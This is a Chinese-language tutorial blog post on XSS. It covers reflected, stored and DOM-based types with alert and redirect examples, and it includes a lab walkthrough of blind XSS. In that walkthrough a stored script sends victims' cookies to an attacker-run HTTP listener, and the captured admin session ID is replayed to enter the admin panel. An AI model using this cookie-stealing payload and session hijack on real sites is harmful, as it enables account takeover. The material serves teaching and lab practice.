跨站脚本攻击——XSS

跨站脚本攻击——XSS



前言

跨站点脚本 (Cross site Scripting XSS) 是指客户端代码注入攻击,攻击者可以在合法网站或 web 应用程序中执行恶意脚本。当 web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生 XSS。由于与 CSS (Cascading style Sheet)重名,所以就更名为 XSS。

XSS 作为 OWASP TOP 1 (2017) 内容之一,主要使用 JavaSript 来完成恶意攻击的行为,JS 可以非常灵活的操纵 HTML、CSS、浏览器,这就使得 XSS 攻击“想象”空间非常大。也就是说,JS 强大的灵活性和功能,为 XSS 攻击提供了非常广阔的攻击面。


一、XSS漏洞原理

XSS 通过将精心构造的代码 (Java Script) 注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被 XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个 XSS 攻击过程涉及三个角色

  • 服务器
  • 攻击者
  • 客户端浏览器用户

二、简单使用

1、漏洞验证

1、反射型 XSS

原理

非持久性、参数型的跨站脚本。反射型 XSS 的代码在 web 应用的参数中,例如搜索框的反射型 XSS。
注意到,反射型 XSS 代码出现在 keywords 参数中。

演示

在这里插入图片描述

这是一个平平无奇的网页,但是他有一个输入框,可以通过这个输入框来验证,使用JS代码进行演示:

<h1>Maple</h1>	//<h1>标签会使字体变大
<script>alert(/Maple/)</script>	//网页出现/Maple/弹框
<script>location.assgin("http://www.4399.com")</script> //跳转4399页面

案例1
输入
在这里插入图片描述
结果在这里插入图片描述案例2
在这里插入图片描述案例3
在这里插入图片描述

2、存储型 XSS

原理

持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型 XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中
危害面比较广,漏洞提交平台会接收此类漏洞

演示

在这里插入图片描述

这是一个留言板,可以上传js到后台,这里简单上传一个弹框,操作如下 :
代码为<script>alert(/来了老弟/)</script>

在这里插入图片描述

后台验证后每次进入留言板就会弹框

在这里插入图片描述

3、DOM型 XSS

原理

DOM 型 XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的 DOM 树而执行的。特殊的地方就是攻击代码 (payload) 在浏览器本地修改 DOM 树而执行,并不会将 payload 上传到服务器,这也使得 DOM 型 XSS 比较难以检测。

演示

不太能用,就不演示了

在这里插入图片描述

三、XSS盲打

攻击机:kali、地址:10.4.7.143
受害机:windows、地址:10.4.7.151

案例演示

思路

// 第一步攻击机监听
python3 -m http.server 80
// 第二步构造XSS代码,攻击机在留言板通过JS上传,地址输入攻击机的地址,获取受害机Cookie值
<script>document.write(\'<img src=\"http://10.4.7.143/\'+document.cookie+\'\" width=0 height=0 border=0/>\')\;</script>
// 第三步获取受害机的信息
"GET /username=admin;%20userid=1;%20PHPSESSID=036n2bsmkh83nojst8m3hltn67 HTTP/1.1"
// 第四步攻击机通过网页的Console登录管理后台
document.cookie="username=admin"
document.cookie="userid=1"
document.cookie="PHPSESSID=036n2bsmkh83nojst8m3hltn67"

第一步

在这里插入图片描述

第二步

在这里插入图片描述

第三步

在这里插入图片描述在这里插入图片描述

第四步

在这里插入图片描述

这里访问的地址是http://10.4.7.151/cms/admin/


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值